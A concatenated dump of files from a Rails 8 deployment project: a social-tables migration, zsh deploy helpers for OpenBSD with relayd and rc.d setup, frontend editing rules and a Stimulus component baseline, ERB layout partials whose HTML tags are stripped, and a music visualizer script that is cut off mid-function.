bucket: your_own_bucket-&lt;%= Rails.env %&gt;\n\n# Remember not to checkin your GCS keyfile to a repository\n# google:\n#   service: GCS\n#   project: your_project\n#   credentials: &lt;%= Rails.root.join(\"path/to/gcs.keyfile\") %&gt;\n#   bucket: your_own_bucket-&lt;%= Rails.env %&gt;\n\n# mirror:\n#   service: Mirror\n#   primary: local\n#   mirrors: [ amazon, google, microsoft ]\n```\n\n## `rails/shared/db/migrate/20260524000200_create_shared_social_tables.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSharedSocialTables &lt; ActiveRecord::Migration[8.0]\n  def change\n    create_table :reactions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :reactable, null: false, polymorphic: true\n      t.string :kind, null: false, default: \"like\"\n      t.timestamps\n    end\n    add_index :reactions, %i[user_id reactable_type reactable_id kind], unique: true, name: \"idx_reactions_unique_user_target_kind\"\n\n    create_table :follows do |t|\n      t.references :follower, null: false, foreign_key: { to_table: :users }\n      t.references :followable, null: false, polymorphic: true\n      t.timestamps\n    end\n    add_index :follows, %i[follower_id followable_type followable_id], unique: true, name: \"idx_follows_unique_follower_target\"\n\n    create_table :notifications do |t|\n      t.references :user, null: false, foreign_key: true\n      t.references :actor, foreign_key: { to_table: :users }\n      t.references :notifiable, polymorphic: true\n      t.string :kind, null: false\n      t.datetime :read_at\n      t.json :payload\n      t.timestamps\n    end\n    add_index :notifications, %i[user_id read_at]\n    add_index :notifications, %i[user_id created_at]\n\n    create_table :review_cases do |t|\n      t.references :reporter, foreign_key: { to_table: :users }\n      t.references :reviewer, foreign_key: { to_table: :users }\n      t.references :reviewable, null: false, polymorphic: true\n      t.string :state, null: false, default: \"open\"\n      t.string :reason\n      t.text :notes\n      t.datetime :reviewed_at\n      t.timestamps\n    end\n    add_index :review_cases, %i[state created_at]\n    add_index :review_cases, %i[reviewable_type reviewable_id]\n  end\nend\n```\n\n## `rails/shared/deploy/@shared_functions.sh`\n```bash\n#!/usr/bin/env zsh\n# @shared_functions.sh \u2014 shared helpers for DEPLOY/rails/* scripts\n# Source this file; do not execute directly.\n# Requires: zsh, ruby34, bundle, rails, doas\nset -euo pipefail\n\nPATH=\"${PATH:-/usr/local/bin:/usr/bin:/bin}\"\n\nif command -v doas &gt;/dev/null 2&gt;&amp;1; then\n  _PRIV=doas\nelse\n  _PRIV=sudo\nfi\n\n: \"${APP_PORT:=3000}\"\n\nlog()      { print -P \"%F{cyan}==&gt;%f $*\"; }\nlog_ok()   { print -P \"%F{green}ok%f $*\"; }\nlog_warn() { print -P \"%F{yellow}WARN%f $*\" &gt;&amp;2; }\nlog_err()  { print -P \"%F{red}ERR%f $*\" &gt;&amp;2; }\n\nneed_cmd() {\n  for cmd in \"$@\"; do\n    command -v \"$cmd\" &gt;/dev/null 2&gt;&amp;1 || { log_err \"Required: $cmd\"; exit 1; }\n    log_ok \"$cmd found\"\n  done\n}\n\nalready_done() {\n  local sentinel=$1\n  [[ -f $sentinel ]] &amp;&amp; { log_warn \"Already set up ($sentinel exists). Skipping.\"; return 0; }\n  return 1\n}\n\ncreate_rails_app() {\n  local app_dir=$1\n  local app_name=${app_dir:t:h}\n  mkdir -p \"${app_dir:h}\"\n  if [[ ! -f \"${app_dir}/config/application.rb\" ]]; then\n    log \"Creating Rails 8 app at $app_dir\"\n    rails new \"$app_dir\" \\\n      --database=sqlite3 \\\n      --asset-pipeline=propshaft \\\n      --javascript=importmap \\\n      --skip-git \\\n      --skip-test \\\n      --skip-bundle\n    # Bootstrap gems from amber to avoid OOM on fresh bundle install\n    local bundle_home=\"/home/${app_dir:h:t}/.bundle\"\n    if [[ ! -d \"${bundle_home}/gems\" ]]; then\n      log \"Bootstrapping gems from amber\"\n      mkdir -p \"${bundle_home}\"\n      cp -r /home/amber/.bundle/gems \"${bundle_home}/\"\n      cp -r /home/amber/.bundle/cache \"${bundle_home}/\" 2&gt;/dev/null || true\n    fi\n    mkdir -p \"${app_dir}/.bundle\"\n    print \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" &gt; \"${app_dir}/.bundle/config\"\n    cp /home/amber/app/Gemfile.lock \"${app_dir}/Gemfile.lock\"\n  fi\n  cd \"$app_dir\"\n  log_ok \"Working in: $app_dir\"\n}\n\nadd_gem() {\n  local gem=$1 ver=${2:-}\n  if ! grep -q \"\\\"${gem}\\\"\" Gemfile 2&gt;/dev/null; then\n    if [[ -n $ver ]]; then\n      print \"gem \\\"${gem}\\\", \\\"${ver}\\\"\" &gt;&gt; Gemfile\n    else\n      print \"gem \\\"${gem}\\\"\" &gt;&gt; Gemfile\n    fi\n    log_ok \"gem ${gem} added\"\n  else\n    log_ok \"gem ${gem} already present\"\n  fi\n}\n\nbundle_install() {\n  bundle check 2&gt;/dev/null &amp;&amp; { log_ok \"bundle ok (no install needed)\"; return 0; }\n  log \"bundle install\"\n  bundle install --jobs=2 2&gt;&amp;1 | tail -5\n  log_ok \"bundle install done\"\n}\n\nadd_gem_group() {\n  local groups=$1; shift\n  local -a gems=(\"$@\")\n  if ! grep -q \"gem \\\"${gems[1]}\\\"\" Gemfile 2&gt;/dev/null; then\n    {\n      print \"group :${groups//,/, :} do\"\n      for g in \"${gems[@]}\"; do print \"  gem \\\"$g\\\"\"; done\n      print \"end\"\n    } &gt;&gt; Gemfile\n  fi\n}\n\ninstall_solid_stack() {\n  log \"Installing Solid Cache / Queue / Cable\"\n  add_gem solid_cache\n  add_gem solid_queue\n  add_gem solid_cable\n  bin/rails solid_cache:install 2&gt;/dev/null || true\n  bin/rails solid_queue:install 2&gt;/dev/null || true\n  bin/rails solid_cable:install 2&gt;/dev/null || true\n  log_ok \"Solid stack installed\"\n}\n\ninstall_auth() {\n  if [[ ! -f app/models/session.rb ]]; then\n    log \"Generating Rails 8 authentication\"\n    bin/rails generate authentication\n    bin/rails db:migrate\n  else\n    log_ok \"Authentication already generated\"\n  fi\n}\n\ninstall_active_storage() {\n  if [[ -z $(print db/migrate/*create_active_storage*(N)) ]]; then\n    log \"Installing Active Storage\"\n    bin/rails active_storage:install\n    bin/rails db:migrate\n  else\n    log_ok \"Active Storage already installed\"\n  fi\n}\n\ninstall_action_text() {\n  if [[ -z $(print db/migrate/*create_action_text*(N)) ]]; then\n    log \"Installing Action Text\"\n    bin/rails action_text:install\n    bin/rails db:migrate\n  else\n    log_ok \"Action Text already installed\"\n  fi\n}\n\ndb_setup() {\n  log \"Setting up database\"\n  RAILS_ENV=production bin/rails db:create db:migrate\n  log_ok \"Database ready\"\n}\n\ndb_migrate() {\n  RAILS_ENV=${RAILS_ENV:-production} bin/rails db:migrate\n  log_ok \"Migrations complete\"\n}\n\nconfigure_production() {\n  local cfg=config/environments/production.rb\n  local text\n  text=$(&lt;\"$cfg\")\n  [[ $text == *\"assume_ssl\"* ]] || print '  config.assume_ssl = true' &gt;&gt; \"$cfg\"\n  [[ $text == *\"solid_cache\"* ]] || print '  config.cache_store = :solid_cache_store' &gt;&gt; \"$cfg\"\n  log_ok \"Production config updated\"\n}\n\ninstall_security_tools() {\n  add_gem_group \"development,test\" brakeman rubocop-rails-omakase\n  log_ok \"Security tools added\"\n}\n\n# random_port \u2014 picks a random unused TCP port in 10000\u201362000.\n# Usage: port=$(random_port)\nrandom_port() {\n  local port\n  while true; do\n    port=$(( RANDOM % 52000 + 10000 ))\n    # Confirm nothing is bound to the port\n    if ! nc -z 127.0.0.1 \"$port\" 2&gt;/dev/null; then\n      print \"$port\"\n      return 0\n    fi\n  done\n}\n\n# install_rcd APP_NAME APP_DIR PORT SERVICE_NAME\n# Installs or updates the rc.d service file for a Rails app on OpenBSD.\ninstall_rcd() {\n  local app_name=$1 app_dir=$2 port=$3 svc=${4:-$1}\n  local rcd_src=\"$(dirname \"$0\")/../../openbsd/etc/rc.d/${svc}\"\n  local rcd_dst=\"/etc/rc.d/${svc}\"\n  if [[ ! -f $rcd_src ]]; then\n    log_warn \"rc.d template not found: $rcd_src \u2014 skipping install_rcd\"\n    return 0\n  fi\n  ${_PRIV} install -o root -g wheel -m 0555 \"$rcd_src\" \"$rcd_dst\"\n  ${_PRIV} rcctl enable \"$svc\"\n  log_ok \"rc.d ${svc} installed and enabled\"\n}\n\n# relayd_add_relay DOMAIN PORT\n# Idempotently adds a table + host-routing entry to /etc/relayd.conf for a new app.\n# Run doas rcctl restart relayd after all relay additions are done.\nrelayd_add_relay() {\n  local domain=$1 port=$2\n  local app=${domain%%.*}\n  local conf=/etc/relayd.conf\n  # Add table if missing\n  if ! grep -q \"table &lt;${app}&gt;\" \"$conf\" 2&gt;/dev/null; then\n    ${_PRIV} sed -i \"1a table &lt;${app}&gt; { 127.0.0.1 }\" \"$conf\"\n    log_ok \"relayd: added table &lt;${app}&gt;\"\n  fi\n  # Add forward rule if missing\n  if ! grep -q \"forward to &lt;${app}&gt;\" \"$conf\" 2&gt;/dev/null; then\n    ${_PRIV} sed -i \"/match request header.*forward to /a\\\\  match request header \\\"Host\\\" value \\\"${domain}\\\" forward to &lt;${app}&gt;\" \"$conf\"\n    log_ok \"relayd: added Host routing for ${domain}\"\n  fi\n  # Add forward target if missing\n  if ! grep -q \"forward to &lt;${app}&gt; port\" \"$conf\" 2&gt;/dev/null; then\n    ${_PRIV} sed -i \"/forward to  port/a\\\\  forward to &lt;${app}&gt; port ${port} check http \\\"/up\\\" code 200\" \"$conf\"\n    log_ok \"relayd: added forward to &lt;${app}&gt; port ${port}\"\n  fi\n}\n```\n\n## `rails/shared/frontend/LLM_SAFE_FRONTEND_RULES.md`\n```markdown\n# LLM-safe frontend restoration rules\n\nThese rules apply to all restored Rails apps under `DEPLOY/rails`.\n\n## Core rule\n\nLarge HTML/ERB files with inline CSS, JavaScript, SVG, Chart.js, or animations must be split into external tracked files before further LLM editing.\n\nDo not ask a model to rewrite large mixed HTML/CSS/JS documents unless the requested output is a minimal unified diff.\n\n## Required separation\n\n- ERB/HTML structure: `app/views/...`\n- SCSS/CSS: `app/assets/stylesheets/...` or app frontend stylesheet path\n- Stimulus controllers: `app/javascript/controllers/...`\n- Chart configuration: `app/javascript/charts/...`\n- Chart data: separate JSON or JS data file\n- Animations/keyframes: dedicated SCSS/CSS file\n- Font declarations: dedicated SCSS/CSS file\n- SVG icons: partials or external assets\n\n## Preservation rules\n\nWhen restoring old assets:\n\n1. Preserve exact old SCSS/CSS where a source stylesheet exists.\n2. If styling only exists inline in an old shell script or ERB block, extract it verbatim into a named stylesheet first.\n3. Do not normalize, modernize, minify, or rename classes during extraction.\n4. Do not remove vendor prefixes during extraction.\n5. Do not collapse custom animations into generic transitions.\n6. Do not replace CSS variables with hardcoded values.\n7. Do not alter Chart.js options while editing chart data.\n8. Do not edit files marked `PROTECTED` unless explicitly requested.\n9. Prefer additive classes over modifying old classes.\n10. Use unified diffs for surgical edits to large view/style files.\n\n## Protected section markers\n\nUse comments like these around fragile restored sections:\n\n```erb\n&lt;%# BEGIN PROTECTED CHARTJS: do not modify without explicit chart task %&gt;\n\n&lt;%# END PROTECTED CHARTJS %&gt;\n```\n\n```scss\n/* BEGIN PROTECTED ANIMATIONS: restored from old pub source */\n/* END PROTECTED ANIMATIONS */\n```\n\n## Typography baseline\n\n- Body line length: 45-75 characters, ideal 66ch.\n- Mobile line length: 35-50 characters.\n- Body line-height: 1.4-1.6.\n- Heading line-height: 1.0-1.2.\n- Body font size: at least 16px.\n- ALL CAPS tracking: 0.05em-0.15em.\n- Maximum type families: 2.\n- Maximum weights: 3.\n- Maximum distinct type sizes: 8.\n\n## Layout baseline\n\n- Prefer 8px spacing scale: 4, 8, 16, 24, 32, 48, 64.\n- Minimum touch target: 44x44 CSS pixels, recommended 48x48.\n- Avoid center-aligned text blocks longer than three lines.\n- Keep internal padding less than or equal to external grouping space.\n- Use 12-column grids where grid layout is appropriate.\n\n## Code quality baseline\n\n- Keep functions under 20 lines where practical.\n- Avoid more than three parameters; introduce objects or keyword arguments.\n- Use guard clauses instead of deep nesting.\n- Do not mix refactoring and feature behavior in the same patch.\n- Prefer tracked source files over shell-generated files.\n- For every extraction from old scripts, keep a provenance note in the commit or file header.\n\n## Prompting rule for future LLM work\n\nUse surgical edit prompts:\n\n```text\nModify only the target file/section. Preserve all class names, IDs, comments, CSS custom properties, animation names, Chart.js configuration, and formatting outside the target. Return a unified diff, not a full rewrite.\n```\n\n## Verification checklist\n\nBefore accepting frontend changes:\n\n1. Review git diff.\n2. Confirm protected sections are unchanged.\n3. Confirm Chart.js canvases and configs still exist.\n4. Confirm animation/keyframe names are unchanged.\n5. Confirm no inline CSS/JS was added to shell scripts.\n6. Confirm extracted SCSS/CSS is linked by the app layout or asset pipeline.\n```\n\n## `rails/shared/frontend/STIMULUS_COMPONENTS_BASELINE.md`\n```markdown\n# Shared Stimulus Components baseline\n\nThis baseline is for Rails apps under `DEPLOY/rails`.\n\nIt is intentionally app-neutral. Each app should copy only the controllers it needs and keep the UI progressive: plain HTML must still work without JavaScript.\n\n## Actual Stimulus Components to standardize\n\nUse the standalone packages from `stimulus-components.com` where they fit product UI:\n\n- `@stimulus-components/auto-submit`\n- `@stimulus-components/character-counter`\n- `@stimulus-components/checkbox-select-all`\n- `@stimulus-components/clipboard`\n- `@stimulus-components/content-loader`\n- `@stimulus-components/dialog`\n- `@stimulus-components/dropdown`\n- `@stimulus-components/hotkey`\n- `@stimulus-components/lightbox`\n- `@stimulus-components/notification`\n- `@stimulus-components/popover`\n- `@stimulus-components/read-more`\n- `@stimulus-components/reveal`\n- `@stimulus-components/scroll-to`\n- `@stimulus-components/sortable`\n- `@stimulus-components/sound`\n- `@stimulus-components/speech-recognition`\n- `@stimulus-components/textarea-autogrow`\n- `@stimulus-components/timeago`\n\n## Rails 8 defaults\n\nEvery app should prefer:\n\n- Turbo Frames for replaceable panels.\n- Turbo Streams for live updates.\n- Solid Queue for expensive work.\n- Solid Cable for real-time status.\n- Solid Cache for index/feed/card/search fragments.\n- Active Storage for media attachments.\n- Signed IDs or signed messages for user-facing action tokens.\n- Structured events for product telemetry.\n- Local CI for repeatable app verification.\n\n## Shared install shape\n\nFor importmap apps:\n\n```ruby\n# config/importmap.rb\npin \"@hotwired/stimulus\", to: \"https://esm.sh/@hotwired/stimulus@3.2.2\"\npin \"@stimulus-components/clipboard\", to: \"https://esm.sh/@stimulus-components/clipboard\"\npin \"@stimulus-components/notification\", to: \"https://esm.sh/@stimulus-components/notification\"\npin \"@stimulus-components/reveal\", to: \"https://esm.sh/@stimulus-components/reveal\"\npin \"@stimulus-components/dropdown\", to: \"https://esm.sh/@stimulus-components/dropdown\"\npin \"@stimulus-components/dialog\", to: \"https://esm.sh/@stimulus-components/dialog\"\npin \"@stimulus-components/lightbox\", to: \"https://esm.sh/@stimulus-components/lightbox\"\npin \"@stimulus-components/timeago\", to: \"https://esm.sh/@stimulus-components/timeago\"\npin \"@stimulus-components/content-loader\", to: \"https://esm.sh/@stimulus-components/content-loader\"\npin \"@stimulus-components/auto-submit\", to: \"https://esm.sh/@stimulus-components/auto-submit\"\npin \"@stimulus-components/sortable\", to: \"https://esm.sh/@stimulus-components/sortable\"\n```\n\nFor direct module apps, use the ESM bootstrap in `stimulus_components.js`.\n\n## Shared component mapping\n\n| Product need | Component |\n|---|---|\n| Copy URLs, commands, excerpts | Clipboard |\n| Toasts for save/upload/job status | Notification |\n| Hide/show advanced or raw data | Reveal |\n| Filters, model/preset/category menus | Dropdown |\n| Confirmation/preview/edit overlays | Dialog |\n| Galleries | Lightbox |\n| Relative timestamps | Timeago |\n| Live search/result panels | Content Loader + Auto Submit |\n| Reorder photos/items/tracks/panels | Sortable |\n| Long descriptions | Read More |\n| Keyboard actions | Hotkey |\n| Upload/processing beeps | Sound |\n| Voice search/prompt | Speech Recognition |\n| Multiline authoring | Textarea Autogrow |\n| Limits and feedback | Character Counter |\n\n## Required progressive states\n\nEvery live search and async interaction must include:\n\n- initial server-rendered content\n- loading state\n- empty state\n- no-results state\n- error state\n- keyboard-friendly controls\n- structured event emission\n\n## Rollout order\n\n1. Amber media baseline.\n2. bsdports live search baseline.\n3. Brgen social interactions.\n4. Blognet editorial workflow.\n5. Baibl scripture navigation/search.\n6. Hjerterom domain skeleton.\n```\n\n## `rails/shared/frontend/examples.html.erb`\n```erb\n&lt;%# Copy selected examples into each app. Keep plain links/forms functional without JS. %&gt;\n\n&lt;%# Notification toast target %&gt;\n\n\n\n\n&lt;%# Clipboard: copy link/command/text %&gt;\n\n\n  \n  Copy\n\n\n&lt;%# Reveal: progressive advanced panel %&gt;\n\n\n  Advanced\n  \n\n    &lt;%= yield if block_given? %&gt;\n  \n\n\n&lt;%# Content loader + auto submit: live search container %&gt;\n\n\n  \n\n\n\n  \nLoading\u2026\n\n\n&lt;%# Lightbox gallery %&gt;\n\n\n  &lt;% Array(local_assigns[:images]).each do |image| %&gt;\n    \"&gt;\n  &lt;% end %&gt;\n\n\n&lt;%# Sortable list %&gt;\n\n\n  &lt;% Array(local_assigns[:items]).each do |item| %&gt;\n    \n&lt;%= item %&gt;\n  &lt;% end %&gt;\n\n\n&lt;%# Timeago %&gt;\n\n```\n\n## `rails/shared/frontend/layouts/_flash.html.erb`\n```erb\n&lt;%# Renders a flash message with a dismiss button \u2013 expects locals: flash_message, flash_type %&gt;\n&lt;% return unless flash_message.present? %&gt;\n\n\n\n  \n\n    &lt;%= sanitize(\n          flash_message,\n          tags: %w[p b i u strong em a br],\n          attributes: %w[href target]\n        ) %&gt;\n  \n  \n    &times;\n    Dismiss this message\n  \n\n```\n\n## `rails/shared/frontend/layouts/_footer.html.erb`\n```erb\n&lt;%# frozen_string_literal: true %&gt;\n&lt;%= tag.footer class: \"site-footer\", role: \"contentinfo\" do %&gt;\n  \n\n    \n\n      &lt;%= t(\n            \"footer.copyright\",\n            year: Time.zone.now.year,\n            app_name: ApplicationHelper.application_name\n          ) %&gt;\n    \n    \n\n      &lt;% (footer_links || []).each do |link| %&gt;\n        &lt;%= link_to t(link[:translation_key]), link[:path],\n                    class: \"footer-link\",\n                    rel: \"noopener\" %&gt;\n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n```\n\n## `rails/shared/frontend/layouts/_meta.html.erb`\n```erb\n&lt;%= tag.meta charset: \"utf-8\" %&gt;\n&lt;%= tag.meta name: \"viewport\", content: \"width=device-width, initial-scale=1\" %&gt;\n\n&lt;%# Open Graph tags %&gt;\n&lt;%= tag.meta property: \"og:type\", content: \"website\" %&gt;\n&lt;%= tag.meta property: \"og:image\", content: (content_for?(:og_image) ? h(yield(:og_image)) : asset_path(\"default_og_image.png\")) %&gt;\n&lt;%= tag.meta property: \"og:url\", content: ERB::Util.u(request.original_url) %&gt;\n&lt;%= tag.meta property: \"og:description\", content: (content_for?(:description) ? h(yield(:description)) : \"Discover more\") %&gt;\n&lt;% app_name = Rails.application.class.module_parent_name.titleize rescue \"App\" %&gt;\n&lt;%= tag.meta property: \"og:title\", content: (content_for?(:title) ? h(yield(:title)) : app_name) %&gt;\n\n&lt;%# Twitter Card tags \u2013 fall back to Open Graph values when not provided %&gt;\n&lt;%= tag.meta name: \"twitter:card\", content: \"summary_large_image\" %&gt;\n&lt;%= tag.meta name: \"twitter:title\", content: (content_for?(:title) ? h(yield(:title)) : app_name) %&gt;\n&lt;%= tag.meta name: \"twitter:description\", content: (content_for?(:description) ? h(yield(:description)) : \"Discover more\") %&gt;\n&lt;%= tag.meta name: \"twitter:image\", content: (content_for?(:og_image) ? h(yield(:og_image)) : asset_path(\"default_og_image.png\")) %&gt;\n```\n\n## `rails/shared/frontend/layouts/_nav.html.erb`\n```erb\n&lt;%# frozen_string_literal: true %&gt;\nSkip to main content\n\n\n  \n\n    \n\n      \n\n        &lt;%= link_to root_path, class: \"logo-link\" do %&gt;\n          &lt;%= @app_name.presence || \"App\" %&gt;\n        &lt;% end %&gt;\n        &lt;% if (tenant = ActsAsTenant.current_tenant&amp;.name).present? %&gt;\n          &lt;%= tenant %&gt;\n        &lt;% end %&gt;\n      \n\n      \n\n        &lt;% if user_signed_in? %&gt;\n          \n\n            &lt;%= current_user.email %&gt;\n          \n          \n\n            &lt;%= link_to t(\"navigation.sign_out\"), destroy_user_session_path,\n                        method: :delete,\n                        class: \"nav-link\",\n                        data: { turbo_method: :delete } %&gt;\n          \n        &lt;% else %&gt;\n          \n\n            &lt;%= link_to t(\"navigation.sign_in\"), new_user_session_path, class: \"nav-link\" %&gt;\n          \n        &lt;% end %&gt;\n      \n    \n  \n\n```\n\n## `rails/shared/frontend/layouts/application.html.erb`\n```erb\n\n\n  \n    \n    \n    &lt;%= csrf_meta_tags %&gt;\n    &lt;%= csp_meta_tag %&gt;\n    &lt;% title = content_for?(:title) ? yield(:title) : (t('site.title', default: 'Default Site Title')) %&gt;\n    &lt;%= render \"shared/meta\", title: title %&gt;\n    &lt;%= yield :head if content_for?(:head) %&gt;\n  \n   class=\"&lt;%= html_escape(body_class) %&gt;\"&lt;% end %&gt;&gt;\n    &lt;%= render \"shared/skip_links\" %&gt;\n    &lt;%= render \"shared/nav\" %&gt;\n\n    \n\n      &lt;%= render \"shared/flash\" %&gt;\n      &lt;%= yield %&gt;\n    \n\n    &lt;%= render \"shared/footer\" %&gt;\n    &lt;%= yield :scripts if content_for?(:scripts) %&gt;\n  \n\n```\n\n## `rails/shared/frontend/layouts/visualizer.js`\n```javascript\n    \"use strict\";\n\n    const IN_SANDBOX=false;\n\n    const FADE_MS=3500,START_FADE_IN=true,DPR=Math.min(2,window.devicePixelRatio||1),isLowEnd=(navigator.hardwareConcurrency&amp;&amp;navigator.hardwareConcurrency&lt;=2)||(navigator.deviceMemory&amp;&amp;navigator.deviceMemory&lt;=2);\n\n    (()=&gt;{const e=document.getElementById(\"uiDots\");if(!e)return;const s=[0,1,2,3,2,1];let i=0;const t=()=&gt;{e.textContent=\".\".repeat(s[i]);i=(i+1)%s.length};t();try{clearInterval(window.__RB_DOTS_IV)}catch{}window.__RB_DOTS_IV=setInterval(t,600)})();\n\n    const motionScale=()=&gt;typeof matchMedia===\"function\"&amp;&amp;matchMedia(\"(prefers-reduced-motion: reduce)\").matches?.35:1;\n\n    class SimpleCarousel{constructor(e,i=2800){this.slides=Array.from(e.querySelectorAll(\".carousel-slide\"));this.i=0;this.n=this.slides.length;if(this.n&gt;1)this.t=setInterval(()=&gt;this.next(),i)}next(){this.slides[this.i].classList.remove(\"active\");this.i=(this.i+1)%this.n;this.slides[this.i].classList.add(\"active\")}}\n\n    new SimpleCarousel(document.getElementById(\"cityCarousel\"));\n\n    const YOUTUBE_TRACKS=[\n\n      {artist:\"J Dilla\",title:\"Microphone Master\",id:\"9EGHwkDix78\"},\n\n      {artist:\"J Dilla\",title:\"In Space\",id:\"vO2nWXCVt6o\"},\n\n      {artist:\"J Dilla\",title:\"Timeless\",id:\"dbbfo9_7D8g\"},\n\n      {artist:\"AFTA-1\",title:\"Due Time\",id:\"WC09qDzU9y4\"},\n\n      {artist:\"Flying Lotus\",title:\"Massage Situation\",id:\"6oUx6wGCekM\"},\n\n      {artist:\"Madlib\",title:\"Eye\",id:\"ScVz2mntmCE\"},\n\n      {artist:\"Slum Village\",title:\"Players\",id:\"KsULjOCYdnY\"},\n\n      {artist:\"Jay Electronica\",title:\"Exhibit A\",id:\"H3UIHZshNQ0\"},\n\n      {artist:\"Slum Village\",title:\"La La (Instrumental)\",id:\"EYJxxHQ7sX0\"},\n\n      {artist:\"Slum Village\",title:\"Get It Together\",id:\"t6T-Q6HMbEo\"},\n\n      {artist:\"Slum Village\",title:\"Fantastic\",id:\"a3ISYWWYgz8\"},\n\n      {artist:\"Flying Lotus\",title:\"me Yesterday//Corded\",id:\"8DgAhgmpXNA\"},\n\n      {artist:\"Flying Lotus\",title:\"Camel\",id:\"fU9YRGLPDQ8\"},\n\n      {artist:\"Flying Lotus\",title:\"Golden Diva\",id:\"iu4FVvR2QQs\"},\n\n      {artist:\"Slum Village\",title:\"Worlds Full of Sadness\",id:\"MU3nfxsz2XA\"},\n\n      {artist:\"A. Mochi &amp; Takaaki Itoh\",title:\"Sarria's Mind\",id:\"gFKArkiz8vU\"},\n\n      {artist:\"Samiyam\",title:\"Rounded\",id:\"oeaY2h_cKsg\"},\n\n      {artist:\"Chase Swayze\",title:\"Traffic\",id:\"bH-30pDoQdo\"},\n\n      {artist:\"Chase Swayze\",title:\"Underrated\",id:\"1jjFk2Vp5ok\"},\n\n      {artist:\"Flying Lotus\",title:\"BTS Radio 2006\",id:\"6nWdggkulHk\",start:1364}\n\n    ];\n\n    const loadYouTubeAPI=()=&gt;{if(IN_SANDBOX||window.__YT_API_LOADED)return;window.__YT_API_LOADED=true;const s=document.createElement(\"script\");s.src=\"https://www.youtube.com/iframe_api\";s.async=true;document.head.appendChild(s)};\n\n    // MP3 Playlist Detection and Parsing\n    const detectMp3Playlist=async()=&gt;{\n\n      if(IN_SANDBOX)return null;\n\n      let tracks=[];\n\n      try{\n\n        let r=await fetch(\"playlist.json\");\n\n        if(r.ok){\n\n          const data=await r.json();\n\n          if(Array.isArray(data)&amp;&amp;data.length&gt;0)tracks=tracks.concat(data.map(t=&gt;({...t,src:t.src})));\n\n        }\n\n      }catch{}\n\n      try{\n\n        let r=await fetch(\"playlist.m3u\");\n\n        if(r.ok){\n\n          const text=await r.text();\n\n          const m3uTracks=parseM3U(text);\n\n          if(m3uTracks&amp;&amp;m3uTracks.length&gt;0)tracks=tracks.concat(m3uTracks);\n\n        }\n\n      }catch{}\n\n      try{\n\n        let r=await fetch(\"index.json\");\n\n        if(r.ok){\n\n          const data=await r.json();\n\n          if(Array.isArray(data)){\n\n            const mp3Files=data.filter(f=&gt;typeof f==='string'&amp;&amp;f.toLowerCase().endsWith('.mp3'));\n\n            tracks=tracks.concat(mp3Files.map(f=&gt;{\n\n              const name=f.replace(/\\.mp3$/i,'').replace(/[-_]/g,' ');\n\n              return{title:name,artist:'',src:f};\n\n            }));\n\n          }else if(data.files&amp;&amp;Array.isArray(data.files)){\n\n            const mp3Files=data.files.filter(f=&gt;typeof f==='string'&amp;&amp;f.toLowerCase().endsWith('.mp3'));\n\n            tracks=tracks.concat(mp3Files.map(f=&gt;{\n\n              const name=f.replace(/\\.mp3$/i,'').replace(/[-_]/g,' ');\n\n              return{title:name,artist:'',src:f};\n\n            }));\n\n          }\n\n        }\n\n      }catch{}\n\n      return tracks.length&gt;0?tracks:null;\n\n    };\n\n    const parseM3U=(text)=&gt;{\n      const lines=text.split('\\n').map(l=&gt;l.trim()).filter(l=&gt;l);\n\n      const tracks=[];\n\n      let current={};\n\n      for(const line of lines){\n\n        if(line.startsWith('#EXTINF:')){\n\n          const info=line.substring(8);\n\n          const parts=info.split(',');\n\n          if(parts.length&gt;=2){\n\n            current.title=parts[1].trim();\n\n            const match=parts[0].match(/(\\d+)/);\n\n            if(match)current.duration=parseInt(match[1]);\n\n          }\n\n        }else if(!line.startsWith('#')&amp;&amp;line){\n\n          current.src=line;\n\n          if(current.src)tracks.push({...current});\n\n          current={};\n\n        }\n\n      }\n\n      return tracks.length&gt;0?tracks:null;\n\n    };\n\n    const YT_ORIGIN=\"https://www.youtube.com\";\n\n    const ytPost=(i,f,a=[])=&gt;{if(IN_SANDBOX)return;try{if(!i||!i.contentWindow)return;i.contentWindow.postMessage({event:\"command\",func:f,args:a},YT_ORIGIN)}catch{try{i.contentWindow.postMessage({event:\"command\",func:f,args:a},\"*\")}catch{}}};\n\n    class Mp3AudioEngine{\n\n      constructor(tracks){\n\n        this.started=false;this.muted=true;this.trackIndex=0;\n\n        this.tracks=tracks.slice().sort(()=&gt;Math.random()-.5);\n\n        this.activeKey=\"a\";this.inactiveKey=\"b\";\n\n        this.players={a:null,b:null};this._fadeIv=null;this._prefadeTimer=null;\n\n        this.audioContext=null;this.analyser=null;this.dataArray=null;\n\n        this.beatPhase=0;this.energyLevel=.5;this._lastBeat=0;this._beatEnv=0;\n\n        this._initAudioElements();\n\n      }\n\n      _initAudioElements(){\n        // Create two audio elements for crossfading\n\n        this.players.a=new Audio();\n\n        this.players.b=new Audio();\n\n        this.players.a.crossOrigin=\"anonymous\";\n\n        this.players.b.crossOrigin=\"anonymous\";\n\n        this.players.a.preload=\"auto\";\n\n        this.players.b.preload=\"auto\";\n\n        this.players.a.volume=0;\n\n        this.players.b.volume=0;\n\n        // Setup Web Audio Context and Analyser\n        try{\n\n          this.audioContext=new(window.AudioContext||window.webkitAudioContext)();\n\n          this.analyser=this.audioContext.createAnalyser();\n\n          this.analyser.fftSize=512;\n\n          this.analyser.smoothingTimeConstant=0.8;\n\n          this.dataArray=new Uint8Array(this.analyser.frequencyBinCount);\n\n          // Connect active player to analyser\n          this._connectAnalyser();\n\n        }catch{\n\n          this.audioContext=null;\n\n        }\n\n        // Setup event listeners\n        ['a','b'].forEach(k=&gt;{\n\n          const p=this.players[k];\n\n          p.addEventListener('ended',()=&gt;{\n\n            if(k===this.activeKey)this.beginCrossfade({fast:true});\n\n          });\n\n          p.addEventListener('canplay',()=&gt;{\n\n            if(k===this.activeKey&amp;&amp;this.started){\n\n              this._setupNextCrossfade(p);\n\n            }\n\n          });\n\n          p.addEventListener('error',()=&gt;{\n\n            if(k===this.activeKey)this.beginCrossfade({fast:true});\n\n          });\n\n        });\n\n      }\n\n      _connectAnalyser(){\n        if(!this.audioContext||!this.analyser)return;\n\n        try{\n\n          const activePlayer=this.players[this.activeKey];\n\n          if(activePlayer&amp;&amp;!activePlayer._sourceNode){\n\n            activePlayer._sourceNode=this.audioContext.createMediaElementSource(activePlayer);\n\n            activePlayer._sourceNode.connect(this.analyser);\n\n            this.analyser.connect(this.audioContext.destination);\n\n          }\n\n        }catch{}\n\n      }\n\n      _setupNextCrossfade(player){\n        